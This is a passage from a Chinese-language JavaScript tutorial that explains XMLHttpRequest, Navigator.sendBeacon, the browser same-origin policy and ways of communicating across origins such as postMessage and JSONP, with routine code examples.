  • “arraybuffer”:ArrayBuffer 物件,表示服務器回傳二進制陣列,
  • “blob”:Blob 物件,表示服務器回傳二進制物件,
  • “document”:Document 物件,表示服務器回傳一個檔案物件,
  • “json”:JSON 物件,
  • “text”:字串,

上面幾種型別之中,text型別適合大多數情況,而且直接處理文本也比較方便,document型別適合回傳 HTML / XML 檔案的情況,這意味著,對于那些打開 CORS 的網站,可以直接用 Ajax 抓取網頁,然后不用決議 HTML 字串,直接對抓取回來的資料進行 DOM 操作,blob型別適合讀取二進制資料,比如圖片檔案,

var xhr = new XMLHttpRequest();
xhr.open('GET', '/path/to/image.png', true);
xhr.responseType = 'blob';

xhr.onload = function(e) {
  if (this.status === 200) {
    var blob = new Blob([xhr.response], {type: 'image/png'});
    // 或者
    var blob = xhr.response;
  }
};

xhr.send();

如果將這個屬性設為ArrayBuffer,就可以按照陣列的方式處理二進制資料,

var xhr = new XMLHttpRequest();
xhr.open('GET', '/path/to/image.png', true);
xhr.responseType = 'arraybuffer';

xhr.onload = function(e) {
  var uInt8Array = new Uint8Array(this.response);
  for (var i = 0, len = uInt8Array.length; i < len; ++i) {
    // var byte = uInt8Array[i];
  }
};

xhr.send();

如果將這個屬性設為json,瀏覽器就會自動對回傳資料呼叫JSON.parse()方法,也就是說,從xhr.response屬性(注意,不是xhr.responseText屬性)得到的不是文本,而是一個 JSON 物件,

58.2.5 XMLHttpRequest.responseText

XMLHttpRequest.responseText屬性回傳從服務器接收到的字串,該屬性為只讀,只有 HTTP 請求完成接收以后,該屬性才會包含完整的資料,

var xhr = new XMLHttpRequest();
xhr.open('GET', '/server', true);

xhr.responseType = 'text';
xhr.onload = function () {
  if (xhr.readyState === 4 && xhr.status === 200) {
    console.log(xhr.responseText);
  }
};

xhr.send(null);

58.2.6 XMLHttpRequest.responseXML

XMLHttpRequest.responseXML屬性回傳從服務器接收到的 HTML 或 XML 檔案物件,該屬性為只讀,如果本次請求沒有成功,或者收到的資料不能被決議為 XML 或 HTML,該屬性等于null

該屬性生效的前提是 HTTP 回應的Content-Type頭資訊等于text/xmlapplication/xml,這要求在發送請求前,XMLHttpRequest.responseType屬性要設為document,如果 HTTP 回應的Content-Type頭資訊不等于text/xmlapplication/xml,但是想從responseXML拿到資料(即把資料按照 DOM 格式決議),那么需要手動呼叫XMLHttpRequest.overrideMimeType()方法,強制進行 XML 決議,

該屬性得到的資料,是直接決議后的檔案 DOM 樹,

var xhr = new XMLHttpRequest();
xhr.open('GET', '/server', true);

xhr.responseType = 'document';
xhr.overrideMimeType('text/xml');

xhr.onload = function () {
  if (xhr.readyState === 4 && xhr.status === 200) {
    console.log(xhr.responseXML);
  }
};

xhr.send(null);

58.2.7 XMLHttpRequest.responseURL

XMLHttpRequest.responseURL屬性是字串,表示發送資料的服務器的網址,

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com/test', true);
xhr.onload = function () {
  // 回傳 http://example.com/test
  console.log(xhr.responseURL);
};
xhr.send(null);

注意,這個屬性的值與open()方法指定的請求網址不一定相同,如果服務器端發生跳轉,這個屬性回傳最后實際回傳資料的網址,另外,如果原始 URL 包括錨點(fragment),該屬性會把錨點剝離,

58.2.8 XMLHttpRequest.status,XMLHttpRequest.statusText

XMLHttpRequest.status屬性回傳一個整數,表示服務器回應的 HTTP 狀態碼,一般來說,如果通信成功的話,這個狀態碼是200;如果服務器沒有回傳狀態碼,那么這個屬性默認是200,請求發出之前,該屬性為0,該屬性只讀,

  • 200, OK,訪問正常
  • 301, Moved Permanently,永久移動
  • 302, Moved temporarily,暫時移動
  • 304, Not Modified,未修改
  • 307, Temporary Redirect,暫時重定向
  • 401, Unauthorized,未授權
  • 403, Forbidden,禁止訪問
  • 404, Not Found,未發現指定網址
  • 500, Internal Server Error,服務器發生錯誤

基本上,只有2xx和304的狀態碼,表示服務器回傳是正常狀態

if (xhr.readyState === 4) {
  if ( (xhr.status >= 200 && xhr.status < 300)
    || (xhr.status === 304) ) {
    // 處理服務器的回傳資料
  } else {
    // 出錯
  }
}

XMLHttpRequest.statusText屬性回傳一個字串,表示服務器發送的狀態提示,不同于status屬性,該屬性包含整個狀態資訊,比如“OK”和“Not Found”,在請求發送之前(即呼叫open()方法之前),該屬性的值是空字串;如果服務器沒有回傳狀態提示,該屬性的值默認為“OK”,該屬性為只讀屬性,

58.2.9 XMLHttpRequest.timeout,XMLHttpRequestEventTarget.ontimeout

XMLHttpRequest.timeout屬性回傳一個整數,表示多少毫秒后,如果請求仍然沒有得到結果,就會自動終止,如果該屬性等于0,就表示沒有時間限制,

XMLHttpRequestEventTarget.ontimeout屬性用于設定一個監聽函式,如果發生 timeout 事件,就會執行這個監聽函式,

下面是一個例子,

var xhr = new XMLHttpRequest();
var url = '/server';

xhr.ontimeout = function () {
  console.error('The request for ' + url + ' timed out.');
};

xhr.onload = function() {
  if (xhr.readyState === 4) {
    if (xhr.status === 200) {
      // 處理服務器回傳的資料
    } else {
      console.error(xhr.statusText);
    }
  }
};

xhr.open('GET', url, true);
// 指定 10 秒鐘超時
xhr.timeout = 10 * 1000;
xhr.send(null);

58.2.10 事件監聽屬性(on-**)

XMLHttpRequest 物件可以對以下事件指定監聽函式,

  • XMLHttpRequest.onloadstart:loadstart 事件(HTTP 請求發出)的監聽函式
  • XMLHttpRequest.onprogress:progress事件(正在發送和加載資料)的監聽函式
  • XMLHttpRequest.onabort:abort 事件(請求中止,比如用戶呼叫了abort()方法)的監聽函式
  • XMLHttpRequest.onerror:error 事件(請求失敗)的監聽函式
  • XMLHttpRequest.onload:load 事件(請求成功完成)的監聽函式
  • XMLHttpRequest.ontimeout:timeout 事件(用戶指定的時限超過了,請求還未完成)的監聽函式
  • XMLHttpRequest.onloadend:loadend 事件(請求完成,不管成功或失敗)的監聽函式

下面是一個例子,

xhr.onload = function() {
 var responseText = xhr.responseText;
 console.log(responseText);
 // process the response.
};

xhr.onabort = function () {
  console.log('The request was aborted');
};

xhr.onprogress = function (event) {
  console.log(event.loaded);
  console.log(event.total);
};

xhr.onerror = function() {
  console.log('There was an error!');
};

progress事件的監聽函式有一個事件物件引數,該物件有三個屬性:loaded屬性回傳已經傳輸的資料量,total屬性回傳總的資料量,lengthComputable屬性回傳一個布林值,表示加載的進度是否可以計算,所有這些監聽函式里面,只有progress事件的監聽函式有引數,其他函式都沒有引數,

注意,如果發生網路錯誤(比如服務器無法連通),onerror事件無法獲取報錯資訊,也就是說,可能沒有錯誤物件,所以這樣只能顯示報錯的提示,

58.2.11 XMLHttpRequest.withCredentials

XMLHttpRequest.withCredentials屬性是一個布林值,表示跨域請求時,用戶資訊(比如 Cookie 和認證的 HTTP 頭資訊)是否會包含在請求之中,默認為false,即向example.com發出跨域請求時,不會發送example.com設定在本機上的 Cookie(如果有的話),

如果需要跨域 AJAX 請求發送 Cookie,需要withCredentials屬性設為true,注意,同源的請求不需要設定這個屬性,

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

為了讓這個屬性生效,服務器必須顯式回傳Access-Control-Allow-Credentials這個頭資訊,

Access-Control-Allow-Credentials: true

withCredentials屬性打開的話,跨域請求不僅會發送 Cookie,還會設定遠程主機指定的 Cookie,反之也成立,如果withCredentials屬性沒有打開,那么跨域的 AJAX 請求即使明確要求瀏覽器設定 Cookie,瀏覽器也會忽略,

注意,腳本總是遵守同源政策,無法從document.cookie或者 HTTP 回應的頭資訊之中,讀取跨域的 Cookie,withCredentials屬性不影響這一點,

58.2.12 XMLHttpRequest.upload

XMLHttpRequest 不僅可以發送請求,還可以發送檔案,這就是 AJAX 檔案上傳,發送檔案以后,通過XMLHttpRequest.upload屬性可以得到一個物件,通過觀察這個物件,可以得知上傳的進展,主要方法就是監聽這個物件的各種事件:loadstart、loadend、load、abort、error、progress、timeout,

假定網頁上有一個<progress>元素,

<progress min="0" max="100" value="0">0% complete</progress>

檔案上傳時,對upload屬性指定progress事件的監聽函式,即可獲得上傳的進度,

function upload(blobOrFile) {
  var xhr = new XMLHttpRequest();
  xhr.open('POST', '/server', true);
  xhr.onload = function (e) {};

  var progressBar = document.querySelector('progress');
  xhr.upload.onprogress = function (e) {
    if (e.lengthComputable) {
      progressBar.value = (e.loaded / e.total) * 100;
      // 兼容不支持 <progress> 元素的老式瀏覽器
      progressBar.textContent = progressBar.value;
    }
  };

  xhr.send(blobOrFile);
}

upload(new Blob(['hello world'], {type: 'text/plain'}));

58.3 XMLHttpRequest 的實體方法

58.3.1 XMLHttpRequest.open()

XMLHttpRequest.open()方法用于指定 HTTP 請求的引數,或者說初始化 XMLHttpRequest 實體物件,它一共可以接受五個引數,

void open(
   string method,
   string url,
   optional boolean async,
   optional string user,
   optional string password
);
  • method:表示 HTTP 動詞方法,比如GETPOSTPUTDELETEHEAD等,
  • url: 表示請求發送目標 URL,
  • async: 布林值,表示請求是否為異步,默認為true,如果設為false,則send()方法只有等到收到服務器回傳了結果,才會進行下一步操作,該引數可選,由于同步 AJAX 請求會造成瀏覽器失去回應,許多瀏覽器已經禁止在主執行緒使用,只允許 Worker 里面使用,所以,這個引數輕易不應該設為false
  • user:表示用于認證的用戶名,默認為空字串,該引數可選,
  • password:表示用于認證的密碼,默認為空字串,該引數可選,

注意,如果對使用過open()方法的 AJAX 請求,再次使用這個方法,等同于呼叫abort(),即終止請求,

下面發送 POST 請求的例子,

var xhr = new XMLHttpRequest();
xhr.open('POST', encodeURI('someURL'));

58.3.2 XMLHttpRequest.send()

XMLHttpRequest.send()方法用于實際發出 HTTP 請求,它的引數是可選的,如果不帶引數,就表示 HTTP 請求只有一個 URL,沒有資料體,典型例子就是 GET 請求;如果帶有引數,就表示除了頭資訊,還帶有包含具體資料的資訊體,典型例子就是 POST 請求,

下面是 GET 請求的例子,

var xhr = new XMLHttpRequest();
xhr.open('GET',
  'http://www.example.com/?id=' + encodeURIComponent(id),
  true
);
xhr.send(null);

上面代碼中,GET請求的引數,作為查詢字串附加在 URL 后面,

下面是發送 POST 請求的例子,

var xhr = new XMLHttpRequest();
var data = 'email='
  + encodeURIComponent(email)
  + '&password='
  + encodeURIComponent(password);

xhr.open('POST', 'http://www.example.com', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(data);

注意,所有 XMLHttpRequest 的監聽事件,都必須在send()方法呼叫之前設定,

send方法的引數就是發送的資料,多種格式的資料,都可以作為它的引數,

void send();
void send(ArrayBufferView data);
void send(Blob data);
void send(Document data);
void send(String data);
void send(FormData data);

如果send()發送 DOM 物件,在發送之前,資料會先被串行化,如果發送二進制資料,最好是發送ArrayBufferViewBlob物件,這使得通過 Ajax 上傳檔案成為可能,

下面是發送表單資料的例子,FormData物件可以用于構造表單資料,

var formData = new FormData();

formData.append('username', '張三');
formData.append('email', 'zhangsan@example.com');
formData.append('birthDate', 1940);

var xhr = new XMLHttpRequest();
xhr.open('POST', '/register');
xhr.send(formData);

上面代碼中,FormData物件構造了表單資料,然后使用send()方法發送,它的效果與發送下面的表單資料是一樣的,

<form id='registration' name='registration' action='/register'>
  <input type='text' name='username' value='張三'>
  <input type='email' name='email' value='zhangsan@example.com'>
  <input type='number' name='birthDate' value='1940'>
  <input type='submit' onclick='return sendForm(this.form);'>
</form>

下面的例子是使用FormData物件加工表單資料,然后再發送,

function sendForm(form) {
  var formData = new FormData(form);
  formData.append('csrf', 'e69a18d7db1286040586e6da1950128c');

  var xhr = new XMLHttpRequest();
  xhr.open('POST', form.action, true);
  xhr.onload = function() {
    // ...
  };
  xhr.send(formData);

  return false;
}

var form = document.querySelector('#registration');
sendForm(form);

58.3.3 XMLHttpRequest.setRequestHeader()

XMLHttpRequest.setRequestHeader()方法用于設定瀏覽器發送的 HTTP 請求的頭資訊,該方法必須在open()之后、send()之前呼叫,如果該方法多次呼叫,設定同一個欄位,則每一次呼叫的值會被合并成一個單一的值發送,

該方法接受兩個引數,第一個引數是字串,表示頭資訊的欄位名,第二個引數是欄位值,

xhr.setRequestHeader('Content-Type', 'application/json');
xhr.setRequestHeader('Content-Length', JSON.stringify(data).length);
xhr.send(JSON.stringify(data));

上面代碼首先設定頭資訊Content-Type,表示發送 JSON 格式的資料;然后設定Content-Length,表示資料長度;最后發送 JSON 資料,

58.3.4 XMLHttpRequest.overrideMimeType()

XMLHttpRequest.overrideMimeType()方法用來指定 MIME 型別,覆寫服務器回傳的真正的 MIME 型別,從而讓瀏覽器進行不一樣的處理,舉例來說,服務器回傳的資料型別是text/xml,由于種種原因瀏覽器決議不成功報錯,這時就拿不到資料了,為了拿到原始資料,我們可以把 MIME 型別改成text/plain,這樣瀏覽器就不會去自動決議,從而我們就可以拿到原始文本了,

xhr.overrideMimeType('text/plain')

注意,該方法必須在send()方法之前呼叫,

修改服務器回傳的資料型別,不是正常情況下應該采取的方法,如果希望服務器回傳指定的資料型別,可以用responseType屬性告訴服務器,就像下面的例子,只有在服務器無法回傳某種資料型別時,才使用overrideMimeType()方法,

var xhr = new XMLHttpRequest();
xhr.onload = function(e) {
  var arraybuffer = xhr.response;
  // ...
}
xhr.open('GET', url);
xhr.responseType = 'arraybuffer';
xhr.send();

58.3.5 XMLHttpRequest.getResponseHeader()

XMLHttpRequest.getResponseHeader()方法回傳 HTTP 頭資訊指定欄位的值,如果還沒有收到服務器回應或者指定欄位不存在,回傳null,該方法的引數不區分大小寫,

function getHeaderTime() {
  console.log(this.getResponseHeader("Last-Modified"));
}

var xhr = new XMLHttpRequest();
xhr.open('HEAD', 'yourpage.html');
xhr.onload = getHeaderTime;
xhr.send();

如果有多個欄位同名,它們的值會被連接為一個字串,每個欄位之間使用“逗號+空格”分隔,

58.3.6 XMLHttpRequest.getAllResponseHeaders()

XMLHttpRequest.getAllResponseHeaders()方法回傳一個字串,表示服務器發來的所有 HTTP 頭資訊,格式為字串,每個頭資訊之間使用CRLF分隔(回車+換行),如果沒有收到服務器回應,該屬性為null,如果發生網路錯誤,該屬性為空字串,

var xhr = new XMLHttpRequest();
xhr.open('GET', 'foo.txt', true);
xhr.send();

xhr.onreadystatechange = function () {
  if (this.readyState === 4) {
    var headers = xhr.getAllResponseHeaders();
  }
}

上面代碼用于獲取服務器回傳的所有頭資訊,它可能是下面這樣的字串,

date: Fri, 08 Dec 2017 21:04:30 GMT\r\n
content-encoding: gzip\r\n
x-content-type-options: nosniff\r\n
server: meinheld/0.6.1\r\n
x-frame-options: DENY\r\n
content-type: text/html; charset=utf-8\r\n
connection: keep-alive\r\n
strict-transport-security: max-age=63072000\r\n
vary: Cookie, Accept-Encoding\r\n
content-length: 6502\r\n
x-xss-protection: 1; mode=block\r\n

然后,對這個字串進行處理,

var arr = headers.trim().split(/[\r\n]+/);
var headerMap = {};

arr.forEach(function (line) {
  var parts = line.split(': ');
  var header = parts.shift();
  var value = parts.join(': ');
  headerMap[header] = value;
});

headerMap['content-length'] // "6502"

58.3.7 XMLHttpRequest.abort()

XMLHttpRequest.abort()方法用來終止已經發出的 HTTP 請求,呼叫這個方法以后,readyState屬性變為4status屬性變為0

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.example.com/page.php', true);
setTimeout(function () {
  if (xhr) {
    xhr.abort();
    xhr = null;
  }
}, 5000);

上面代碼在發出5秒之后,終止一個 AJAX 請求,

58.4 XMLHttpRequest 實體的事件

58.4.1 readyStateChange 事件

readyState屬性的值發生改變,就會觸發 readyStateChange 事件,

我們可以通過onReadyStateChange屬性,指定這個事件的監聽函式,對不同狀態進行不同處理,尤其是當狀態變為4的時候,表示通信成功,這時回呼函式就可以處理服務器傳送回來的資料,

58.4.2 progress 事件

上傳檔案時,XMLHttpRequest 實體物件本身和實體的upload屬性,都有一個progress事件,會不斷回傳上傳的進度,

var xhr = new XMLHttpRequest();

function updateProgress (oEvent) {
  if (oEvent.lengthComputable) {
    var percentComplete = oEvent.loaded / oEvent.total;
  } else {
    console.log('無法計算進展');
  }
}

xhr.addEventListener('progress', updateProgress);

xhr.open();

58.4.3 load 事件、error 事件、abort 事件

load 事件表示服務器傳來的資料接收完畢,error 事件表示請求出錯,abort 事件表示請求被中斷(比如用戶取消請求),

var xhr = new XMLHttpRequest();

xhr.addEventListener('load', transferComplete);
xhr.addEventListener('error', transferFailed);
xhr.addEventListener('abort', transferCanceled);

xhr.open();

function transferComplete() {
  console.log('資料接收完畢');
}

function transferFailed() {
  console.log('資料接收出錯');
}

function transferCanceled() {
  console.log('用戶取消接收');
}

58.4.4 loadend 事件

abortloaderror這三個事件,會伴隨一個loadend事件,表示請求結束,但不知道其是否成功,

xhr.addEventListener('loadend', loadEnd);

function loadEnd(e) {
  console.log('請求結束,狀態未知');
}

58.4.5 timeout 事件

服務器超過指定時間還沒有回傳結果,就會觸發 timeout 事件,具體的例子參見timeout屬性一節,

58.5 Navigator.sendBeacon()

**用戶卸載網頁的時候,有時需要向服務器發一些資料,**很自然的做法是在unload事件或beforeunload事件的監聽函式里面,使用XMLHttpRequest物件發送資料,但是,這樣做不是很可靠,因為XMLHttpRequest物件是異步發送,很可能在它即將發送的時候,頁面已經卸載了,從而導致發送取消或者發送失敗

解決方法就是unload事件里面,加一些很耗時的同步操作,這樣就能留出足夠的時間,保證異步 AJAX 能夠發送成功,

function log() {
  let xhr = new XMLHttpRequest();
  xhr.open('post', '/log', true);
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xhr.send('foo=bar');
}

window.addEventListener('unload', function(event) {
  log();

  // a time-consuming operation
  for (let i = 1; i < 10000; i++) {
    for (let m = 1; m < 10000; m++) { continue; }
  }
});

上面代碼中,強制執行了一次雙重回圈,拖長了unload事件的執行時間,導致異步 AJAX 能夠發送成功,

類似的還可以使用setTimeout,下面是追蹤用戶點擊的例子,

// HTML 代碼如下
// <a id="target" href="https://baidu.com">click</a>
const clickTime = 350;
const theLink = document.getElementById('target');

function log() {
  let xhr = new XMLHttpRequest();
  xhr.open('post', '/log', true);
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xhr.send('foo=bar');
}

theLink.addEventListener('click', function (event) {
  event.preventDefault();
  log();

  setTimeout(function () {
    window.location.href = theLink.getAttribute('href');
  }, clickTime);
});

上面代碼使用setTimeout,拖延了350毫秒,才讓頁面跳轉,因此使得異步 AJAX 有時間發出,

這些做法的共同問題是,卸載的時間被硬生生拖長了,后面頁面的加載被推遲了,用戶體驗不好,

為了解決這個問題,瀏覽器引入了Navigator.sendBeacon()方法,這個方法還是異步發出請求,但是請求與當前頁面執行緒脫鉤,作為瀏覽器行程的任務,因此可以保證會把資料發出去,不拖延卸載流程,

window.addEventListener('unload', logData, false);

function logData() {
  navigator.sendBeacon('/log', analyticsData);
}

Navigator.sendBeacon方法接受兩個引數,第一個引數是目標服務器的 URL,第二個引數是所要發送的資料(可選),可以是任意型別(字串、表單物件、二進制物件等等),

navigator.sendBeacon(url, data)

這個方法的回傳值是一個布林值,成功發送資料為true,否則為false

該方法發送資料的 HTTP 方法是 POST,可以跨域,類似于表單提交資料,它不能指定回呼函式,

下面是一個例子,

// HTML 代碼如下
// <body οnlοad="analytics('start')" οnunlοad="analytics('end')">

function analytics(state) {
  if (!navigator.sendBeacon) return;

  var URL = 'http://example.com/analytics';
  var data = 'state=' + state + '&location=' + window.location;
  navigator.sendBeacon(URL, data);
}

59. 同源限制

瀏覽器安全的基石是“同源政策”(same-origin policy),很多開發者都知道這一點,但了解得不全面,

59.1 概述

59.1.1 含義

1995年,同源政策由 Netscape 公司引入瀏覽器,目前,所有瀏覽器都實行這個政策,

最初,它的含義是指,A 網頁設定的 Cookie,B 網頁不能打開,除非這兩個網頁“同源”,所謂“同源”指的是“三個相同”,

  • 協議相同
  • 域名相同
  • 埠相同(這點可以忽略,詳見下文)

舉例來說,http://www.example.com/dir/page.html這個網址,協議是http://,域名是www.example.com,埠是80(默認埠可以省略),它的同源情況如下,

  • http://www.example.com/dir2/other.html:同源
  • http://example.com/dir/other.html:不同源(域名不同)
  • http://v2.www.example.com/dir/other.html:不同源(域名不同)
  • http://www.example.com:81/dir/other.html:不同源(埠不同)
  • https://www.example.com/dir/page.html:不同源(協議不同)

注意,標準規定埠不同的網址不是同源(比如8000埠和8001埠不是同源),但是瀏覽器沒有遵守這條規定,實際上,同一個網域的不同埠,是可以互相讀取 Cookie 的,

59.1.2 目的

同源政策的目的,是為了保證用戶資訊的安全,防止惡意的網站竊取資料,

設想這樣一種情況:A 網站是一家銀行,用戶登錄以后,A 網站在用戶的機器上設定了一個 Cookie,包含了一些隱私資訊,用戶離開 A 網站以后,又去訪問 B 網站,如果沒有同源限制,B 網站可以讀取 A 網站的 Cookie,那么隱私就泄漏了,更可怕的是,Cookie 往往用來保存用戶的登錄狀態,如果用戶沒有退出登錄,其他網站就可以冒充用戶,為所欲為,因為瀏覽器同時還規定,提交表單不受同源政策的限制,

由此可見,同源政策是必需的,否則 Cookie 可以共享,互聯網就毫無安全可言了,

59.1.3 限制范圍

隨著互聯網的發展,同源政策越來越嚴格,目前,如果非同源,共有三種行為受到限制,

(1) 無法讀取非同源網頁的 Cookie、LocalStorage 和 IndexedDB,

(2) 無法接觸非同源網頁的 DOM,

(3) 無法向非同源地址發送 AJAX 請求(可以發送,但瀏覽器會拒絕接受回應),

另外,通過 JavaScript 腳本可以拿到其他視窗的window物件,如果是非同源的網頁,目前允許一個視窗可以接觸其他網頁的window物件的九個屬性和四個方法,

  • window.closed
  • window.frames
  • window.length
  • window.location
  • window.opener
  • window.parent
  • window.self
  • window.top
  • window.window
  • window.blur()
  • window.close()
  • window.focus()
  • window.postMessage()

上面的九個屬性之中,只有window.location是可讀寫的,其他八個全部都是只讀,而且,即使是location物件,非同源的情況下,也只允許呼叫location.replace()方法和寫入location.href屬性,

雖然這些限制是必要的,但是有時很不方便,合理的用途也受到影響,下面介紹如何規避上面的限制,

59.2 Cookie

Cookie 是服務器寫入瀏覽器的一小段資訊,只有同源的網頁才能共享,如果兩個網頁一級域名相同,只是次級域名不同,瀏覽器允許通過設定document.domain共享 Cookie,

舉例來說,A 網頁的網址是http://w1.example.com/a.html,B 網頁的網址是http://w2.example.com/b.html,那么只要設定相同的document.domain,兩個網頁就可以共享 Cookie,因為瀏覽器通過document.domain屬性來檢查是否同源,

// 兩個網頁都需要設定
document.domain = 'example.com';

注意,A 和 B 兩個網頁都需要設定document.domain屬性,才能達到同源的目的,因為設定document.domain的同時,會把埠重置為null,因此如果只設定一個網頁的document.domain,會導致兩個網址的埠不同,還是達不到同源的目的,

現在,A 網頁通過腳本設定一個 Cookie,

document.cookie = "test1=hello";

B 網頁就可以讀到這個 Cookie,

var allCookie = document.cookie;

注意,這種方法只適用于 Cookie 和 iframe 視窗,LocalStorage 和 IndexedDB 無法通過這種方法,規避同源政策,而要使用下文介紹 PostMessage API,

另外,服務器也可以在設定 Cookie 的時候,指定 Cookie 的所屬域名為一級域名,比如.example.com

Set-Cookie: key=value; domain=.example.com; path=/

這樣的話,二級域名和三級域名不用做任何設定,都可以讀取這個 Cookie,

59.3 iframe 和多視窗通信

iframe元素可以在當前網頁之中,嵌入其他網頁,每個iframe元素形成自己的視窗,即有自己的window物件,iframe視窗之中的腳本,可以獲得父視窗和子視窗,但是,只有在同源的情況下,父視窗和子視窗才能通信;如果跨域,就無法拿到對方的 DOM

比如,父視窗運行下面的命令,如果iframe視窗不是同源,就會報錯,

document
.getElementById("myIFrame")
.contentWindow
.document
// Uncaught DOMException: Blocked a frame from accessing a cross-origin frame.

上面命令中,父視窗想獲取子視窗的 DOM,因為跨域導致報錯,

反之亦然,子視窗獲取主視窗的 DOM 也會報錯,

window.parent.document.body
// 報錯

這種情況不僅適用于iframe視窗,還適用于window.open方法打開的視窗,只要跨域,父視窗與子視窗之間就無法通信,

如果兩個視窗一級域名相同,只是二級域名不同,那么設定上一節介紹的document.domain屬性,就可以規避同源政策,拿到 DOM,

對于完全不同源的網站,目前有兩種方法,可以解決跨域視窗的通信問題,

  • 片段識別符(fragment identifier)
  • 跨檔案通信API(Cross-document messaging)

59.3.1 片段識別符 fragment identifier

片段識別符號(fragment identifier)指的是,URL 的#號后面的部分,比如http://example.com/x.html#fragment#fragment,如果只是改變片段識別符號,頁面不會重新重繪,

父視窗可以把資訊,寫入子視窗的片段識別符號,

var src = originURL + '#' + data;
document.getElementById('myIFrame').src = src;

上面代碼中,父視窗把所要傳遞的資訊,寫入 iframe 視窗的片段識別符號,

子視窗通過監聽hashchange事件得到通知,

window.onhashchange = checkMessage;

function checkMessage() {
  var message = window.location.hash;
  // ...
}

同樣的,子視窗也可以改變父視窗的片段識別符號,

parent.location.href = target + '#' + hash;

59.3.2 window.postMessage()(message-.source .origin

上面的這種方法屬于破解,HTML5 為了解決這個問題,引入了一個全新的API:跨檔案通信 API(Cross-document messaging),

這個 API 為window物件新增了一個window.postMessage方法,允許跨視窗通信,不論這兩個視窗是否同源,舉例來說,父視窗aaa.com向子視窗bbb.com發訊息,呼叫postMessage方法就可以了,

// 父視窗打開一個子視窗
var popup = window.open('http://bbb.com', 'title');
// 父視窗向子視窗發訊息
popup.postMessage('Hello World!', 'http://bbb.com');

postMessage方法的第一個引數是具體的資訊內容,第二個引數是接收訊息的視窗的源(origin),即“協議 + 域名 + 埠”,也可以設為*,表示不限制域名,向所有視窗發送,

子視窗向父視窗發送訊息的寫法類似,

// 子視窗向父視窗發訊息
window.opener.postMessage('Nice to see you', 'http://aaa.com');

父視窗和子視窗都可以通過message事件,監聽對方的訊息,

// 父視窗和子視窗都可以用下面的代碼,
// 監聽 message 訊息
window.addEventListener('message', function (e) {
  console.log(e.data);
},false);

message事件的引數是事件物件event,提供以下三個屬性,

  • event.source:發送訊息的視窗
  • event.origin: 訊息發向的網址(接收資訊的網址)
  • event.data: 訊息內容

下面的例子是,子視窗通過event.source屬性參考父視窗,然后發送訊息,

window.addEventListener('message', receiveMessage);
function receiveMessage(event) {
  event.source.postMessage('Nice to see you!', '*');
}

上面代碼有幾個地方需要注意,首先,receiveMessage函式里面沒有過濾資訊的來源,任意網址發來的資訊都會被處理,其次,postMessage方法中指定的目標視窗的網址是一個星號,表示該資訊可以向任意網址發送,通常來說,這兩種做法是不推薦的,因為不夠安全,可能會被惡意利用,

event.origin屬性可以過濾不是發給本視窗的訊息,(過濾后更安全)

window.addEventListener('message', receiveMessage);
function receiveMessage(event) {
  if (event.origin !== 'http://aaa.com') return;
  if (event.data === 'Hello World') {
    event.source.postMessage('Hello', event.origin);
  } else {
    console.log(event.data);
  }
}

59.3.3 LocalStorage

localStorage 和 sessionStorage 屬性允許在瀏覽器中存盤 key/value 對的資料,localStorage 用于長久保存整個網站的資料,保存的資料沒有過期時間,直到手動去洗掉,sessionStorage 用于臨時保存同一視窗(或標簽頁)的資料,在關閉視窗或標簽頁之后將會洗掉這些資料,

通過window.postMessage,讀寫其他視窗的 LocalStorage 也成為了可能,

下面是一個例子,主視窗寫入 iframe 子視窗的localStorage

window.onmessage = function(e) {
  if (e.origin !== 'http://bbb.com') {
    return;
  }
  var payload = JSON.parse(e.data);
  localStorage.setItem(payload.key, JSON.stringify(payload.data));
};

上面代碼中,子視窗將父視窗發來的訊息,寫入自己的 LocalStorage,

父視窗發送訊息的代碼如下,

var win = document.getElementsByTagName('iframe')[0].contentWindow;
var obj = { name: 'Jack' };
win.postMessage(
  JSON.stringify({key: 'storage', data: obj}),
  'http://bbb.com'
);

加強版的子視窗接收訊息的代碼如下,

window.onmessage = function(e) {
  if (e.origin !== 'http://bbb.com') return;
  var payload = JSON.parse(e.data);
  switch (payload.method) {
    case 'set':
      localStorage.setItem(payload.key, JSON.stringify(payload.data));
      break;
    case 'get':
      var parent = window.parent;
      var data = localStorage.getItem(payload.key);
      parent.postMessage(data, 'http://aaa.com');
      break;
    case 'remove':
      localStorage.removeItem(payload.key);
      break;
  }
};

加強版的父視窗發送訊息代碼如下,

var win = document.getElementsByTagName('iframe')[0].contentWindow;
var obj = { name: 'Jack' };
// 存入物件
win.postMessage(
  JSON.stringify({key: 'storage', method: 'set', data: obj}),
  'http://bbb.com'
);
// 讀取物件
win.postMessage(
  JSON.stringify({key: 'storage', method: "get"}),
  "*"
);
window.onmessage = function(e) {
  if (e.origin != 'http://aaa.com') return;
  console.log(JSON.parse(e.data).name);
};

59.4 AJAX

同源政策規定,AJAX 請求只能發給同源的網址,否則就報錯,

除了架設服務器代理(瀏覽器請求同源服務器,再由后者請求外部服務),有三種方法規避這個限制,

  • JSONP
  • WebSocket
  • CORS

59.4.1 JSONP

JSONP 是服務器與客戶端跨源通信的常用方法,最大特點就是簡單易用,沒有兼容性問題,老式瀏覽器全部支持,服務端改造非常小,

它的做法如下,

第一步,網頁添加一個<script>元素,向服務器請求一個腳本,這不受同源政策限制,可以跨域請求,

<script src="http://api.foo.com?callback=bar"></script>

注意,請求的腳本網址有一個callback引數(?callback=bar),用來告訴服務器,客戶端的回呼函式名稱(bar),

第二步,服務器收到請求后,拼接一個字串,將 JSON 資料放在函式名里面,作為字串回傳(bar({...})),

第三步,客戶端會將服務器回傳的字串,作為代碼決議,因為瀏覽器認為,這是<script>標簽請求的腳本內容,這時,客戶端只要定義了bar()函式,就能在該函式體內,拿到服務器回傳的 JSON 資料,

下面看一個實體,首先,網頁動態插入<script>元素,由它向跨域網址發出請求,

function addScriptTag(src) {
  var script = document.createElement('script');
  script.setAttribute('type', 'text/javascript');
  script.src = src;
  document.body.appendChild(script);
}

window.onload = function () {
  addScriptTag('http://example.com/ip?callback=foo');
}

function foo(data) {
  console.log('Your public IP address is: ' + data.ip);
};

上面代碼通過動態添加<script>元素,向服務器example.com發出請求,注意,該請求的查詢字串有一個callback引數,用來指定回呼函式的名字,這對于 JSONP 是必需的,

